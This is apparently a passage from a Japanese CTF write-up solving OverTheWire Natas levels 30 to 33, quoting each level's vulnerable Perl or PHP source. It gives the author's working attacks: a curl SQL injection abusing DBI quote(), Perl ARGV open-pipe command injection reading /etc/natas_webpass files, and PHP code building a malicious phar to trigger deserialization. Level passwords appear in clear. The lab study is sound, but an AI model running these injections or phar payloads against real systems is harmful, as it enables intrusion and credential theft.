<input type="submit" value="login" />
</form>
END
if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}else{
print "fail :(";
}$sth->finish();
$dbh->disconnect();
}
print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END
明らかにquote
が怪しかったのでググってみた。
なるほどね。Perlでは引数を複数渡すことと、引数のリストを関数に渡すこととが同じらしい。またもしGETパラメータが複数回与えられている場合、param
はすべての値のリストを返すので、それを利用する。
https://metacpan.org/pod/DBI#quote
quote
の第二引数は第一引数のデータ型を指定するもので、整数型の場合などではクオートがつかないらしい。型を指定するにはその型のインスタンスを渡せばいいとのこと(整数型なら120
とか)。
これはPerl初心者には厳しい、、
~$ curl -u natas30:Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X -X POST -d 'username=natas31' -d 'password="" or 1 #' -d 'password=2' http://natas30.natas.labs.overthewire.org/index.pl
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas30", "pass": "Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<!-- morla/10111 <3 happy birthday OverTheWire! <3 -->
<h1>natas30</h1>
<div id="content">
<form action="index.pl" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
win!<br>here is your result:<br>natas31AMZF14yknOn9Uc57uKB02jnYuhplYka3<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
パスワード:AMZF14yknOn9Uc57uKB02jnYuhplYka3
Level 31 to 32
CSVをアップロードするとテーブルで表示してくれるツールっぽい。
/var/www/natas/natas31/index-source.pl
#!/usr/bin/perl
use CGI;
$ENV{'TMPDIR'}="/var/www/natas/natas31/tmp/";
print <<END;
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<!-- Bootstrap -->
<link href="bootstrap-3.3.6-dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas31", "pass": "<censored>" };</script>
<script src="sorttable.js"></script>
</head>
<script src="bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>
<!-- morla/10111 -->
<style>
#content {
width: 900px;
}
.btn-file {
position: relative;
overflow: hidden;
}
.btn-file input[type=file] {
position: absolute;
top: 0;
right: 0;
min-width: 100%;
min-height: 100%;
font-size: 100px;
text-align: right;
filter: alpha(opacity=0);
opacity: 0;
outline: none;
background: white;
cursor: inherit;
display: block;
}
</style>
<h1>natas31</h1>
<div id="content">
END
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}print "</tr>";
}else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}print "</tr>";
}$i+=1;
}print '</table>';
}else{
print <<END;
<form action="index.pl" method="post" enctype="multipart/form-data">
<h2> CSV2HTML</h2>
<br>
We all like .csv files.<br>
But isn't a nicely rendered and sortable table much cooler?<br>
<br>
Select file to upload:
<span class="btn btn-default btn-file">
Browse <input type="file" name="file">
</span>
<input type="submit" value="Upload" name="submit" class="btn">
</form>
END
}
print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END
流石にPerlがわからなさすぎたので、まず最低限押さえておくべきポイントをまとめてみた。
my
はローカル変数を定義するour
はグローバル変数を定義する(デフォルト)foreach
などでmy
/our
を使うことも可能(foreach my $line ...
など)- 変数定義は必要ではない(未定義の変数は
undef
となる) - スカラー値には
$
をつける($line
など) - ハッシュ値には
%
をつける(%lines
など) - リスト値には
@
をつける(@lines
など) - サブルーチンには何もつけない(
func
など) - 特殊変数は
$
/%
/@
ありの全部大文字(%ENV
など) - ベアワードは
$
/%
/@
なしの全部大文字(Rubyのシンボルに近い)- ファイルハンドルに使われる(
FH
など) - ハッシュのキーにも使われる(
my %map = (KEY1 => "value1")
など)
- ファイルハンドルに使われる(
$
/%
/@
は変数ではなく値によって決まる($lines[0]
など)func(@lines)
はfunc(line1, line2, ...)
と同じ$line = @lines
は$line=$lines[0]
と同じ@lines = $line
は$lines[0]=$line
と同じ$_
はデフォルト変数foreach
/while (<FH>)
などによりデフォルトで代入されるchomp
/split
などによりデフォルトで読み出される
$line = <FH>
は$line = readline(FH)
と同じ
それでもやっぱりわからない、、
ヒント見ます。
https://axcheron.github.io/writeups/otw/natas/#natas-31-solution
http://kentfredric.github.io/blog/2016/01/01/re-the-perl-jam-2-argv-is-evil/
どうやらさらに、
$line = <"FD">
は$line = <FD>
と同じ$line = <ARGV>
はforeach $file (@ARGV) { open $_, $file; ... }
と同じ
といった特殊な仕様があるみたい。
つまりうまくやれば前のopen
のパイプを使った攻撃ができそう。
まず$cgi->upload('file')
を通過する必要があるので、既存のfile
というファイル入力は残しつつ、もう一つfile
というテキスト入力を追加し、値をARGV
にセットする。
my $file = $cgi->param('file');
で最初のfile
が代入されるので、ARGV
の方が先になるようにする。
今回の場合、URLの?
以降のクエリパラメータがそのままARGV
に渡されるらしい。これは多分Apacheとかの設定によると思う。
あとはフォームのaction
にindex.php?cat /etc/natas_webpass/natas32 |
をセットして完了。
パスワード:Yp5ffyfmEdjvTOwpN5HCvh7Ctgf9em3G
Level 32 to 33
#!/usr/bin/perl
use CGI;
$ENV{'TMPDIR'}="/var/www/natas/natas32/tmp/";
print <<END;
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<!-- Bootstrap -->
<link href="bootstrap-3.3.6-dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas32", "pass": "<censored>" };</script>
<script src="sorttable.js"></script>
</head>
<script src="bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>
<!--
morla/10111
shouts to Netanel Rubin
-->
<style>
#content {
width: 900px;
}
.btn-file {
position: relative;
overflow: hidden;
}
.btn-file input[type=file] {
position: absolute;
top: 0;
right: 0;
min-width: 100%;
min-height: 100%;
font-size: 100px;
text-align: right;
filter: alpha(opacity=0);
opacity: 0;
outline: none;
background: white;
cursor: inherit;
display: block;
}
</style>
<h1>natas32</h1>
<div id="content">
END
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}print "</tr>";
}else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}print "</tr>";
}$i+=1;
}print '</table>';
}else{
print <<END;
<form action="index.pl" method="post" enctype="multipart/form-data">
<h2> CSV2HTML</h2>
<br>
We all like .csv files.<br>
But isn't a nicely rendered and sortable table much cooler?<br>
<br>
This time you need to prove that you got code exec. There is a binary in the webroot that you need to execute.
<br><br>
Select file to upload:
<span class="btn btn-default btn-file">
Browse <input type="file" name="file">
</span>
<input type="submit" value="Upload" name="submit" class="btn">
</form>
END
}
print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END
“This time you need to prove that you got code exec. There is a binary in the webroot that you need to execute.”
ほう。ほとんど同じだけど今度はとあるバイナリを実行しなければいけないっぽい?
cat /etc/natas_webpass/natas33
が効かないんだろうか。
試しに同じ手法でls -l /etc/natas_webpass/natas32 /etc/natas_webpass/natas33 |
を実行し、パーミッションを見てみる。
なるほど。natas33
は全部root
アクセスになってる。
というわけで大人しくls -al |
を実行。
getpassword
が明らかに怪しい。setuid
フラッグついてるし。
./getpassword |
を投げる。
パスワード:APwWDD3fRAf6226sgBOBaSptGwvXwQhG
Level 32 to 33
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas33", "pass": "<censored>" };</script></head>
</head>
<body>
<?php
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename="";
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
echo "File is too big<br>";
}else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
chdir("/natas33/upload/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
}else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}?>
<h1>natas33</h1>
<div id="content">
<h2>Can you get it right?</h2>
<?php
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();
}?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="<?php echo session_id(); ?>" />
Upload Firmware Update:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
ファイルのMD5ハッシュがadeafbadbabec0dedabada55ba55d00d
になるようにサブミットすれば、PHPで実行される仕組みっぽい。
ただこの文字数のハッシュは厳しそう。レインボーテーブルも無理だろうし。
https://axcheron.github.io/writeups/otw/natas/#natas-33-solution
どうやらmd5_file
などファイルを読み込む関数にはpharファイルを使った攻撃が有効らしい。
https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability#4-how-pop-attacks-work
If the object defined in the metadata belongs to a class defined in the scope of the current program, that object will be loaded in that program’s context.
なるほど。
メタデータにセットされたオブジェクトと同じ名前のクラスが存在する場合、そのオブジェクトがpharファイルからロードされるみたい。unserialize
と同じくフィールドの値は自由に決めることが可能。
ロードされたらいつかデストラクタが呼ばれるので、そのときにpassthru
が実行されるわけだ。
まずはpassthru
で実行したいPHPファイルを作成。
~$ touch test.php
// test.php
<?php include('/etc/natas_webpass/natas34'); ?>
test.php
のMD5ハッシュ値を調べて、そのハッシュ値をもったExecutor
クラスをメタデータにもつpharファイルを作る。
~$ php -a
Interactive shell
php > echo md5_file('test.php');
ea5aaca71bae73aabad512517758d1ba
php >
~$ touch test.txt make_phar.php
// make_phar.php
<?php
class Executor {
private $filename="test.php";
private $signature="ea5aaca71bae73aabad512517758d1ba";
private $init=False;
}
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", 'test');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Executor());
$phar->stopBuffering();
?>
デフォルトではpharファイルは読みとり専用となっているので、phar.readonly
をオフにする。
~$ php --define phar.readonly=0 make.php
あとはtest.php
とtest.phar
をそれぞれのファイル名でアップロードして、
最後に適当なファイル(今回はtest.phar
)とファイル名phar://test.phar
でサブミットして、md5_file
にpharファイルをロードさせる。
それにしても何でmd5_file
とかでもメタデータが読み込まれるんですかね。Phar::getMetaData
とか使わないとメタデータには直接アクセスできないから読み込まなくてもいいはずなのに。
パスワード:F6Fcmavn8FgZgrAPOvoLudNr1GwQTaNG
Thoughts
めちゃくちゃ難しかった。特に後半、特にLevel 28 to 29。
Banditは1日で終わったけど、Natasは丸4日かかった。
とはいえすごく勉強になったし、楽しかったから、いつか別のにも挑戦してみたい。
とりあえずちょっと休憩挟みます、、